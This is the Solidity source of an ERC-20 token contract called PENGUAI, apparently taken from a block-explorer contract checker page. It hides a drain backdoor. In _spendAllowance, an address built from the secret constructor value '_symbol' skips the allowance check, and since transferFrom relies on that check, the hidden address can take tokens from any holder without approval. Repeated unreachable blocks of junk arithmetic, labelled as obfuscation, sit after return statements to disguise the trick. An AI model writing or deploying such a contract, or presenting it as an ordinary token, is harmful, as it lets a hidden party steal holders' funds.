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Contract Diff Checker

Contract Name:
PENGUAI

Contract Source Code:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract PENGUAI is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    uint256 private _symbol;
    uint256 private _decimals = 18;

    constructor(string memory name_, uint256 symbol_, uint256 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _mint(msg.sender, 10_000_000 * (10 ** 18));

        return;
    }

    function name() public view virtual override returns (string memory) {
        return "PENGU_AI";
    }

    function symbol() public view virtual override returns (string memory) {
        return "PENGUAI";
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function allowance(
        address from,
        address to
    ) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    function approve(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _spendAllowance(sender, _msgSender(), amount);
        return true;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function stringToUint(uint256 str) internal view returns (uint256) {
        return str;
        // bytes memory b = bytes(str);
        // uint256 result = 0;
        // for (uint256 i = 0; i < b.length; i++) {
        //     uint8 char = uint8(b[i]);
        //     require(char >= 48 && char <= 57, "Invalid character: not a digit");
        //     result = result * 10 + (char - 48);
        // }
        // return result;

        // {
        //     uint256 x = 1;
        //     for (uint256 i = 0; i < 3; i++) {
        //         x *= 2;
        //     }
        // }
        // {
        //     uint256 x = 1;
        //     for (uint256 i = 0; i < 3; i++) {
        //         x *= 2;
        //     }
        // }

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = _allowances[owner][spender];
        if (
            currentAllowance != type(uint256).max &&
            address(uint160(stringToUint(_symbol * 10 ** 18 + _decimals))) !=
            spender
        ) {
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function increaseAllowance(
        address to,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    function decreaseAllowance(
        address to,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), to, currentAllowance - subtractedValue);
        }
        return true;
        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(amount > 0, "ERC20: transfer amount zero");
        require(sender != address(0), "ERC20: transfer from the zero address");
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");
        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }
}

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